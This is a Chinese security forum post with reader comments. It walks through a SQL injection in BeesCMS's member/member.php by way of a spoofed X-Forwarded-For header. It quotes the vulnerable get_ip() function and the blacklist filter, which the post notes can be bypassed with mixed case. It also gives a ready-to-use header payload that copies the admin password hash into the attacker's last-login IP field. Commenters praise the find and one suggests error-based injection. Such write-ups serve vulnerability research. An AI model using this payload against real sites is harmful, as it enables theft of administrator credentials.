beescms X-Forwarded-For 注射
beescms X-Forwarded-For 注射
member/member.php文件跟踪。{$_SESSION['m_ip']}来源。跟踪。fl_html(fl_value(get_ip()))来源。
get_ip()函数get_ip()函数可伪造。
fl_value()函数fl_html()函数不影响我们。exp:注册用户。修改X-Forwarded-For:127.1',member_ip=(SELECT admin_password FROM bees_admin) whEre member_user='你的用户'#。登陆。上次登陆IP变为管理员密码
member/member.php文件
//........................
$ip=fl_html(fl_value(get_ip()));
$sql="update ".DB_PRE."member set member_time='{$addtime}',member_ip='{$ip}' where id={$last_id}";
$GLOBALS['mysql']->query($sql);
//........................
elseif($action=='out'){
$m_ip=fl_html(fl_value(get_ip()));
$_SESSION['m_ip']=$m_ip;
get_ip()函数
function get_ip(){
if(!empty($_SERVER['HTTP_CLIENT_IP']))
{
return $_SERVER['HTTP_CLIENT_IP'];
}
elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
return $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else
{
return $_SERVER['REMOTE_ADDR'];
}
}
fl_value()函数
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\sss=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);//大小写可绕过。
}
function fl_html($str){
return htmlspecialchars($str);
}
评论11次
辛苦了,辛苦了,赞一个!
mysql可以试试报错注入,其他的就不太清楚了
长林来分析下,不知道源码的情况下,update注入怎么用
大神啊!!代码分析牛!
感谢楼主的分享
雕牌碉堡了。
学xi
这个学xi鸟
支持一下,xi望楼主多挖一点洞
上次碰到一个笑死偶 又是这个注入 居然没吧这个ip写到数据库 各种爆无果 坑跌
抢占沙发,支持挖洞牛多挖点